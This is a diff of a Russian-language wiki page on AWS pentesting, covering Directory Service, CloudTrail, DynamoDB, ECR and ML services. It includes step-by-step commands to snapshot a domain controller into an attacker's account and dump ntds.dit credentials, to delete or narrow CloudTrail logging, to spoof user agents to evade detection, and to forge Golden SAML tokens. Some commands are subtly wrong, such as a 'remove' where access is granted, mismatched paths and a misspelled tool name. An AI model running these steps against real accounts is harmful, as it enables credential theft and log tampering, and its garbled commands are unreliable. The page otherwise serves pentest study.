+ | == AD (Directory Service) == | ||
+ | |||
+ | Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS. | ||
+ | |||
+ | Основные понятия: | ||
+ | |||
+ | * EC2-Instance - VPS на которых крутится весь Active Directory | ||
+ | |||
+ | |||
+ | === Роли - повышение привилегий === | ||
+ | |||
+ | ==== EC2:CreateSnapshot + EC2:RunInstance -> ShadowCopy ==== | ||
+ | |||
+ | Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей. | ||
+ | |||
+ | |||
+ | |||
+ | Последовательность атаки: | ||
+ | |||
+ | 1. Получаем список инстансов | ||
+ | |||
+ | 2. Создаем Snapshot выбранного сервера | ||
+ | |||
+ | 3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission --operation-type remove --user-ids 123456789012 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | 4. Переключаемся на аккаунт атакующего | ||
+ | |||
+ | 5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot | ||
+ | |||
+ | 6. Подключаемся по SSH и получаем данные из SnapShot | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | sudo -s | ||
+ | mkdir /tmp/windows | ||
+ | mount /dev/xvdf1 /tmp/windows/ | ||
+ | cd /tmp/windows/ | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | 7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | cp /windows/Windows/NTDS/ntds.dit /home/ec2-user | ||
+ | cp /windows/Windows/System32/config/SYSTEM /home/ec2-user | ||
+ | chown ec2-user:ec2-user /home/ec2-user/* | ||
+ | # Sftp - скачиваем файлы: | ||
+ | /home/ec2-user/SYSTEM | ||
+ | /home/ec2-user/ntds.dit | ||
+ | # Получаем учетные данные, используя Impacket-secretsdump | ||
+ | secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == CloudTrail == | ||
+ | |||
+ | Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS. | ||
+ | |||
+ | Записывает: | ||
+ | |||
+ | * API-вызовы | ||
+ | |||
+ | * Логины в систему | ||
+ | |||
+ | * События сервисов | ||
+ | |||
+ | * ??? | ||
+ | |||
+ | |||
+ | Важен при операциях RedTeam. | ||
+ | |||
+ | |||
+ | Название файла логов: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | S3 путь до логов: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Путь у CloudTrail-Digest файлов: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Основные поля у событий: | ||
+ | |||
+ | * eventName - имя API-endpoint | ||
+ | |||
+ | * eventSource - вызванный сервис | ||
+ | |||
+ | * eventTime - время события | ||
+ | |||
+ | * SourceIPAddress - ip-адрес источника | ||
+ | |||
+ | * userAgent - метод запроса | ||
+ | ** "signing.amazonaws.com" - запрос от AWS Management Console | ||
+ | ** "console.amazonaws.com" - запрос от root-пользователя аккаунта | ||
+ | ** "lambda.amazonaws.com" - запрос от AWS Lambda | ||
+ | |||
+ | * requestParameters - параметры запроса | ||
+ | |||
+ | * responseElements - элементы ответа. | ||
+ | |||
+ | |||
+ | Временные параметры: | ||
+ | |||
+ | * 5 минут - сохраняется новый лог-файл | ||
+ | |||
+ | * 15 минут - сохраняется в S3. | ||
+ | |||
+ | |||
+ | Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись. | ||
+ | Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности. | ||
+ | |||
+ | === Роли - управление === | ||
+ | |||
+ | ==== cloudtrail:DeleteTrail ==== | ||
+ | |||
+ | Позволяет отключить мониторинг: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== cloudtrail:UpdateTrail ==== | ||
+ | |||
+ | Права на редактирование правил монитринга. | ||
+ | |||
+ | |||
+ | Отключить мониторинг глобальных сервисов: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | Отключить мониторинг на конкретные регионы: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== validate-logs ==== | ||
+ | |||
+ | Проверить, были ли изменены логи. | ||
+ | |||
+ | aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose] | ||
+ | |||
+ | |||
+ | |||
+ | === Эксплуатация === | ||
+ | |||
+ | ==== Обход правила по UserAgent ==== | ||
+ | |||
+ | На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli. | ||
+ | |||
+ | Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи. | ||
+ | |||
+ | == DynamoDB == | ||
+ | |||
+ | Cистема управления базами данных класса NoSQL в формате «ключ — значение». | ||
+ | |||
+ | === Роли - управление === | ||
+ | |||
+ | ==== dynamodb:ListTables ==== | ||
+ | |||
+ | Позволяет посмотреть спрсок таблиц базы данных. | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws --endpoint-url http://s3.bucket.htb dynamodb list-tables | ||
+ | |||
+ | { | ||
+ | "TableNames": [ | ||
+ | "users" | ||
+ | ] | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== dynamodb:Scan ==== | ||
+ | |||
+ | Получение обьектов из базы данных: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]' | ||
+ | |||
+ | { | ||
+ | "password": { | ||
+ | "S": "Management@#1@#" | ||
+ | }, | ||
+ | "username": { | ||
+ | "S": "Mgmt" | ||
+ | } | ||
+ | } | ||
+ | </syntaxhighlight> | ||
+ | |||
== ES (ElasticSearch) == | == ES (ElasticSearch) == | ||
Строка 736: | Строка 1478: | ||
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel | ||
</syntaxhighlight> | </syntaxhighlight> | ||
+ | |||
+ | == ECR (Elastic Container Registry) == | ||
+ | |||
+ | Региональный сервис, предназначенный для обеспечения гибкого развертывания образов. | ||
+ | |||
+ | |||
+ | === Роли - управление === | ||
+ | |||
+ | ==== ecr:ListImages ==== | ||
+ | |||
+ | Получить список образов: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws ecr list-images --repository-name <ECR_name> --registry-id <UserID> --region <region> --profile <profile_name> | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ==== ecr:GetDownloadUrlForLayer ==== | ||
+ | |||
+ | Позволяет получить URL на скачивание образа. | ||
+ | |||
+ | ==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ==== | ||
+ | |||
+ | Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | aws ecr get-login | ||
+ | docker pull <UserID>.dkr.ecr.us-east-1.amazonaws.com/<ECRName>:latest | ||
+ | docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == ECS (Elastic Container Service) == | ||
+ | |||
+ | Сервис координирования контейнеров - развертывание, администрирование, масштабирование. | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | === Статьи === | ||
+ | |||
+ | [https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/ RhinoSecurity ECR/ECS] | ||
+ | |||
+ | [https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/ RhinoSecurity ECS] | ||
+ | |||
+ | |||
+ | === Утилиты === | ||
+ | |||
+ | https://github.com/RhinoSecurityLabs/ccat | ||
+ | |||
+ | |||
+ | == Augmented AI (Amazon A2I) == | ||
+ | |||
+ | Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения. | ||
+ | |||
+ | [[File:A2i.png|1000px]] | ||
+ | |||
+ | Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль . | ||
+ | |||
+ | При создании задачи разделяется на 3 варианта: | ||
+ | |||
+ | * Textract - извлечение пары ключ-значение из текста | ||
+ | |||
+ | * Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента. | ||
+ | |||
+ | * Custom - пользовательский вариант | ||
+ | |||
+ | Интересный факт - использует "Quill Rich Text Editor" для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже. | ||
+ | |||
+ | |||
+ | https://aws.amazon.com/ru/augmented-ai/ | ||
+ | |||
+ | |||
+ | Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов: | ||
+ | |||
+ | 1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить. | ||
+ | |||
+ | 2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito. | ||
+ | |||
+ | 3. Vendor - решения сторонних разработчиков. | ||
+ | |||
+ | |||
+ | === Роли === | ||
+ | |||
+ | ==== AmazonAugmentedAIIntegratedAPIAccess ==== | ||
+ | |||
+ | Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API. | ||
+ | |||
+ | TODO: проверить, дает ли это еще возможностей злоумышленнику | ||
+ | |||
+ | == CodeGuru == | ||
+ | |||
+ | Автоматизируйте проверку кода и оптимизируйте производительность приложений с помощью рекомендаций на базе машинного обучения | ||
+ | |||
+ | [[File:Aws codeguru.png| 1000px]] | ||
+ | |||
+ | https://aws.amazon.com/ru/codeguru/ | ||
+ | |||
+ | Разделяется на следующие части: | ||
+ | |||
+ | - Reviewer - выявляет критические проблемы, уязвимости системы безопасности и трудноуловимые ошибки + дает рекомендации (языки Java и Python) - статикой. | ||
+ | |||
+ | - Profiler - выявление самых дорогостоящих строк, повышение производительности и тд засчет запуска в среде выполнения. Важно особенно для тех, кто платит за время работы скриптов. | ||
+ | |||
+ | Также на странице есть упоминание про их игру - BugBust | ||
+ | |||
+ | https://us-east-1.console.aws.amazon.com/codeguru/bugbust/participant#/ | ||
+ | |||
+ | == Comprehend == | ||
+ | |||
+ | https://aws.amazon.com/ru/comprehend/ | ||
+ | |||
+ | Сервис по извлечению ценной информации из текста и работе с ним. | ||
+ | |||
+ | [[File:Aws comprehend.png|1000px]] | ||
+ | |||
+ | Список категорий, на которые может разбить текст, есть на фото выше. | ||
+ | |||
+ | |||
+ | Для пользовательских настроек есть несколько параметров: | ||
+ | |||
+ | - Кастомные классификации | ||
+ | |||
+ | - Кастомные определения вставок в тексте | ||
+ | |||
+ | - Endpoints - для real-time работы. !!! Достаточно дорогой сервис. В месяц берет 1400$ при минимальной сборке, поэтому если злоумышленник сможет запускать в нем Endpoint'ы в большом количестве, то компания обанкротится. | ||
+ | |||
+ | == DevOps Guru == | ||
+ | |||
+ | https://aws.amazon.com/ru/devops-guru/ | ||
+ | |||
+ | Собирает метрики из различных сервисов и детектит различные аномалии. Проще говоря, делает статистику по метрикам и с машинным обучением находит ошибки. | ||
+ | |||
+ | Источники метрик: | ||
+ | |||
+ | * CloudWatch | ||
+ | |||
+ | * AWS Config | ||
+ | |||
+ | * CloudTrail | ||
+ | |||
+ | * X-Ray | ||
+ | |||
+ | |||
+ | Если рассуждать со стороны злоумышленника, то если у него есть доступ к DevOps Guru, то у него также есть AIM-роль "Amazon DevOps Guru_Role" и привилегии на доступ к следующим ресурсам: | ||
+ | |||
+ | * Amazon CloudWatch | ||
+ | |||
+ | * Amazon CloudWatch Events | ||
+ | |||
+ | * Amazon CloudWatch Logs | ||
+ | |||
+ | * AWS CodeDeploy | ||
+ | |||
+ | * AWS CodePipeline | ||
+ | |||
+ | * AWS CloudFormation | ||
+ | |||
+ | * AWS CloudTrail | ||
+ | |||
+ | * AWS Systems Manager | ||
+ | |||
+ | * AWS X-Ray | ||
+ | |||
+ | == Elastic Inference == | ||
+ | |||
+ | https://aws.amazon.com/machine-learning/elastic-inference/ | ||
+ | |||
+ | |||
+ | == Forecast == | ||
+ | |||
+ | Служба прогнозирования временных рядов используя машинное обучение (предсказывание последующих событий). | ||
+ | |||
+ | https://aws.amazon.com/ru/forecast/ | ||
+ | |||
+ | При настройке можно выбрать один из forecasting-доменов: | ||
+ | |||
+ | * Retail | ||
+ | |||
+ | * Custom | ||
+ | |||
+ | * Inventory planning | ||
+ | |||
+ | * EC2 capacity | ||
+ | |||
+ | * Work force | ||
+ | |||
+ | * Web traffic | ||
+ | |||
+ | * Metrics | ||
+ | |||
+ | Формально это шаблоны для быстрой настройки сервиса. | ||
+ | |||
+ | Если у атакующего есть привилегии данного сервиса, то можно предположить, что он тоже может получать те же данные (например, количество трафика), что и сам сервис | ||
+ | |||
+ | == Fraud Detector == | ||
+ | |||
+ | https://aws.amazon.com/ru/fraud-detector/ | ||
+ | |||
+ | "Разработка и развертывание моделей выявления мошенничества используя машинное обучение" | ||
+ | |||
+ | == HealthLake == | ||
+ | |||
+ | https://aws.amazon.com/healthlake/ | ||
+ | |||
+ | == Kendra == | ||
+ | |||
+ | https://aws.amazon.com/kendra/?did=ap_card&trk=ap_card | ||
+ | |||
+ | == Lex == | ||
+ | |||
+ | https://aws.amazon.com/lex/?did=ap_card&trk=ap_card | ||
+ | |||
+ | == Lookout for Equipment == | ||
+ | |||
+ | https://aws.amazon.com/ru/lookout-for-equipment/ | ||
+ | |||
+ | == Lookout for Metrics == | ||
+ | |||
+ | https://aws.amazon.com/lookout-for-metrics/ | ||
+ | |||
+ | == Lookout for Vision == | ||
+ | |||
+ | https://aws.amazon.com/lookout-for-vision/ | ||
+ | |||
+ | == Monitron == | ||
+ | |||
+ | https://aws.amazon.com/monitron/ | ||
+ | |||
+ | == Personalize == | ||
+ | |||
+ | https://aws.amazon.com/personalize/ | ||
+ | |||
+ | == Polly == | ||
+ | |||
+ | https://aws.amazon.com/polly/ | ||
+ | |||
+ | == Rekognition == | ||
+ | |||
+ | https://aws.amazon.com/rekognition/ | ||
+ | |||
+ | == SageMaker == | ||
+ | |||
+ | https://aws.amazon.com/sagemaker/ | ||
+ | |||
+ | == SageMaker Ground Truth == | ||
+ | |||
+ | https://aws.amazon.com/sagemaker/groundtruth/ | ||
+ | |||
+ | == Textract == | ||
+ | |||
+ | https://aws.amazon.com/textract/ | ||
+ | |||
+ | == Transcribe == | ||
+ | |||
+ | https://aws.amazon.com/transcribe/ | ||
+ | |||
+ | == Translate == | ||
+ | |||
+ | https://aws.amazon.com/translate/ | ||
+ | |||
+ | == Apache MXNet == | ||
+ | |||
+ | https://aws.amazon.com/ru/mxnet/ | ||
+ | |||
+ | == Deep Learning Containers == | ||
+ | |||
+ | https://aws.amazon.com/machine-learning/containers/ | ||
+ | |||
+ | == DeepComposer == | ||
+ | |||
+ | https://aws.amazon.com/deepcomposer/ | ||
+ | |||
+ | == DeepLens == | ||
+ | |||
+ | https://aws.amazon.com/deeplens/ | ||
+ | |||
+ | == DeepRacer == | ||
+ | |||
+ | https://aws.amazon.com/deepracer/ | ||
+ | |||
+ | == Inferentia == | ||
+ | |||
+ | https://aws.amazon.com/machine-learning/inferentia/ | ||
+ | |||
+ | == Panorama == | ||
+ | |||
+ | https://aws.amazon.com/panorama/ | ||
+ | |||
+ | == PyTorch == | ||
+ | |||
+ | https://aws.amazon.com/pytorch/ | ||
+ | |||
+ | == TensorFlow == | ||
+ | |||
+ | https://aws.amazon.com/tensorflow/ | ||
+ | |||
+ | == Deep Learning AMI == | ||
+ | |||
+ | https://aws.amazon.com/machine-learning/amis/ | ||
= Утилиты = | = Утилиты = | ||
Строка 746: | Строка 1784: | ||
== Эксплуатация == | == Эксплуатация == | ||
+ | |||
+ | === Golden SAML === | ||
+ | |||
+ | Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO. | ||
+ | |||
+ | |||
+ | Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps | ||
+ | |||
+ | ==== shimit ==== | ||
+ | https://github.com/cyberark/shimit | ||
+ | |||
+ | Установка: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cd /tmp | ||
+ | python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml | ||
+ | git clone https://github.com/cyberark/shimit | ||
+ | cd shmit | ||
+ | python shmit.py | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ. | ||
+ | Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell | ||
+ | |||
+ | |||
+ | Пример эксплуатации: | ||
+ | <syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | # Получаем приватный ключ | ||
+ | [System.Convert]::ToBase64String($cer.rawdata) | ||
+ | (Get-ADFSProperties).Identifier.AbsoluteUri | ||
+ | (Get-ADFSRelyingPartyTrust).IssuanceTransformRule | ||
+ | |||
+ | # Получаем инфу о юзерах - выбираем цель | ||
+ | aws iam list-users | ||
+ | |||
+ | # Получаем токен | ||
+ | python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file | ||
+ | -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 | ||
+ | |||
+ | # Проверяем текущий аккаунт | ||
+ | aws opsworks describe-my-user-profile | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | == Проверки безопасности == | ||
+ | |||
+ | Для администраторов преимущественно. | ||
+ | |||
+ | === Zeus === | ||
+ | |||
+ | https://github.com/DenizParlak/Zeus | ||
+ | |||
== Другое == | == Другое == | ||
Строка 756: | Строка 1845: | ||
=== pacu === | === pacu === | ||
+ | |||
+ | https://github.com/RhinoSecurityLabs/pacu | ||
=== ScoutSuite === | === ScoutSuite === | ||
https://github.com/nccgroup/ScoutSuite | https://github.com/nccgroup/ScoutSuite | ||
+ | |||
+ | === cloudfox === | ||
+ | |||
+ | https://github.com/BishopFox/cloudfox | ||
= Ссылки = | = Ссылки = | ||
== Статьи == | == Статьи == | ||
+ | |||
+ | [https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection] | ||
+ | |||
+ | [https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts] | ||
+ | |||
+ | [https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications] | ||
== Лаборатории == | == Лаборатории == | ||
Строка 772: | Строка 1873: | ||
[http://flaws.cloud Flaws] | [http://flaws.cloud Flaws] | ||
+ | |||
+ | [http://flaws2.cloud/ Flaws] | ||
+ | |||
+ | [https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup] | ||
+ | |||
+ | [https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat] | ||
+ | |||
+ | [https://github.com/nccgroup/sadcloud SadCloud] | ||
+ | |||
+ | [https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs] | ||
+ | |||
+ | [https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1] | ||
+ | |||
+ | [https://pentesting.cloud/ Free AWS Security Labs] | ||
== Краткие заметки == | == Краткие заметки == | ||
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings] | [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings] | ||
+ | |||
+ | [https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3] | ||
+ | |||
+ | [https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws] | ||
+ | |||
+ | [https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)] | ||
+ | |||
+ | == Книги == | ||
+ | |||
+ | [https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux] |
Текущая версия на 11:11, 23 октября 2022
AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.
Содержание
- 1 Организационные моменты
- 2 Общие концепции
- 3 Ролевая модель
- 4 Службы
- 4.1 IAM
- 4.1.1 Роли - повышение привилегий
- 4.1.2 Роли - повышение до админа
- 4.1.2.1 iam:AddUserToGroup
- 4.1.2.2 iam:PutUserPolicy
- 4.1.2.3 iam:CreateLoginProfile
- 4.1.2.4 iam:UpdateLoginProfile
- 4.1.2.5 iam:AttachGroupPolicy
- 4.1.2.6 iam:AttachRolePolicy
- 4.1.2.7 iam:CreatePolicy
- 4.1.2.8 iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion
- 4.1.2.9 iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile
- 4.1.2.10 iam:AttachUserPolicy
- 4.2 AWS Shield
- 4.3 Cognito
- 4.4 GuardDuty
- 4.5 STS (Security Token Service)
- 4.6 KMS (Key Management Service)
- 4.7 CloudHSM (Hardware Security Module)
- 4.8 Athena
- 4.9 EBS (Elastic Block Store)
- 4.10 Lambda
- 4.11 Glue
- 4.12 S3
- 4.13 CloudFront
- 4.14 EC2 (Elastic Compute Cloud)
- 4.14.1 SSM Agent
- 4.14.2 Роли - повышение привилегий
- 4.14.3 Роли - повышение до админа
- 4.14.4 Роли - управление
- 4.14.4.1 ec2:CreateVolume + ec2:AttachVolume
- 4.14.4.2 ec2:DescribeSnapshots
- 4.14.4.3 ec2:CreateVolume
- 4.14.4.4 ec2:* (Копирование EC2)
- 4.14.4.5 ec2-instance-connect:SendSSHPublicKey
- 4.14.4.6 ec2-instance-connect:SendSerialConsoleSSHPublicKey
- 4.14.4.7 ssm:SendCommand
- 4.14.4.8 EC2:CreateSnapshot + Active Directory
- 4.15 Auto Scaling (autoscaling)
- 4.16 Роли - повышение привилегий
- 4.17 AD (Directory Service)
- 4.18 CloudTrail
- 4.19 DynamoDB
- 4.20 ES (ElasticSearch)
- 4.21 ELB (Elastic Load Balancing)
- 4.22 RDS (Relational Database Service)
- 4.23 Route 53
- 4.24 API Gateway
- 4.25 CloudSearch
- 4.26 Transfer Family
- 4.27 IoT (Internet Of Things)
- 4.28 MQ
- 4.29 MSK (Managed Streaming for Apache Kafka)
- 4.30 Cloud9
- 4.31 MediaStore
- 4.32 Kinesis Video Streams
- 4.33 Elemental MediaConvert
- 4.34 Elemental MediaPackage
- 4.35 ECR (Elastic Container Registry)
- 4.36 ECS (Elastic Container Service)
- 4.37 Augmented AI (Amazon A2I)
- 4.38 CodeGuru
- 4.39 Comprehend
- 4.40 DevOps Guru
- 4.41 Elastic Inference
- 4.42 Forecast
- 4.43 Fraud Detector
- 4.44 HealthLake
- 4.45 Kendra
- 4.46 Lex
- 4.47 Lookout for Equipment
- 4.48 Lookout for Metrics
- 4.49 Lookout for Vision
- 4.50 Monitron
- 4.51 Personalize
- 4.52 Polly
- 4.53 Rekognition
- 4.54 SageMaker
- 4.55 SageMaker Ground Truth
- 4.56 Textract
- 4.57 Transcribe
- 4.58 Translate
- 4.59 Apache MXNet
- 4.60 Deep Learning Containers
- 4.61 DeepComposer
- 4.62 DeepLens
- 4.63 DeepRacer
- 4.64 Inferentia
- 4.65 Panorama
- 4.66 PyTorch
- 4.67 TensorFlow
- 4.68 Deep Learning AMI
- 4.1 IAM
- 5 Утилиты
- 6 Ссылки
Организационные моменты
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/
Общие концепции
Службы
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.
Это экосистема многих сервисов. И AWS стремится увеличить их количество.
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.
Регионы
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.
Название региона | Endpoint(HTTPS) |
us-east-2 | rds.us-east-2.amazonaws.com
rds-fips.us-east-2.api.aws rds.us-east-2.api.aws rds-fips.us-east-2.amazonaws.com |
us-east-1 | rds.us-east-1.amazonaws.com
rds-fips.us-east-1.api.aws rds-fips.us-east-1.amazonaws.com rds.us-east-1.api.aws |
us-west-1 | rds.us-west-1.amazonaws.com
rds.us-west-1.api.aws rds-fips.us-west-1.amazonaws.com rds-fips.us-west-1.api.aws |
us-west-2 | rds.us-west-2.amazonaws.com
rds-fips.us-west-2.amazonaws.com rds.us-west-2.api.aws rds-fips.us-west-2.api.aws |
af-south-1 | rds.af-south-1.amazonaws.com
rds.af-south-1.api.aws |
ap-east-1 | rds.ap-east-1.amazonaws.com
rds.ap-east-1.api.aws |
ap-southeast-3 | rds.ap-southeast-3.amazonaws.com |
ap-south-1 | rds.ap-south-1.amazonaws.com
rds.ap-south-1.api.aws |
ap-northeast-3 | rds.ap-northeast-3.amazonaws.com
rds.ap-northeast-3.api.aws |
ap-northeast-2 | rds.ap-northeast-2.amazonaws.com
rds.ap-northeast-2.api.aws |
ap-southeast-1 | rds.ap-southeast-1.amazonaws.com
rds.ap-southeast-1.api.aws |
ap-southeast-2 | rds.ap-southeast-2.amazonaws.com
rds.ap-southeast-2.api.aws |
ap-northeast-1 | rds.ap-northeast-1.amazonaws.com
rds.ap-northeast-1.api.aws |
ca-central-1 | rds.ca-central-1.amazonaws.com
rds.ca-central-1.api.aws rds-fips.ca-central-1.api.aws rds-fips.ca-central-1.amazonaws.com |
eu-central-1 | rds.eu-central-1.amazonaws.com
rds.eu-central-1.api.aws |
eu-west-1 | rds.eu-west-1.amazonaws.com
rds.eu-west-1.api.aws |
eu-west-2 | rds.eu-west-2.amazonaws.com
rds.eu-west-2.api.aws |
eu-south-1 | rds.eu-south-1.amazonaws.com
rds.eu-south-1.api.aws |
eu-west-3 | rds.eu-west-3.amazonaws.com
rds.eu-west-3.api.aws |
eu-north-1 | rds.eu-north-1.amazonaws.com
rds.eu-north-1.api.aws |
me-south-1 | rds.me-south-1.amazonaws.com
rds.me-south-1.api.aws |
sa-east-1 | rds.sa-east-1.amazonaws.com
rds.sa-east-1.api.aws |
us-gov-east-1 | rds.us-gov-east-1.amazonaws.com |
us-gov-west-1 | rds.us-gov-west-1.amazonaws.com |
Или только регионы (могут пригодиться при переборе):
us-east-2
us-east-1
us-west-1
us-west-2
af-south-1
ap-east-1
ap-southeast-3
ap-south-1
ap-northeast-3
ap-northeast-2
ap-southeast-1
ap-southeast-2
ap-northeast-1
ca-central-1
eu-central-1
eu-west-1
eu-west-2
eu-south-1
eu-west-3
eu-north-1
me-south-1
sa-east-1
us-gov-east-1
us-gov-west-1
Доступы
Консольная утилита(awscli)
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.
Утилита работает с настроенными профилями.
Файлы
~/.aws/credentials
Файл с учетными данными профилей. Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.
У каждого профиля будет указан:
- Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с "AKIA..."
- Access Key - 40 случайных символов различного регистра.
- Access Token - не всегда указывается
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings
Пример содержимого файла (сохранен профиль default):
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
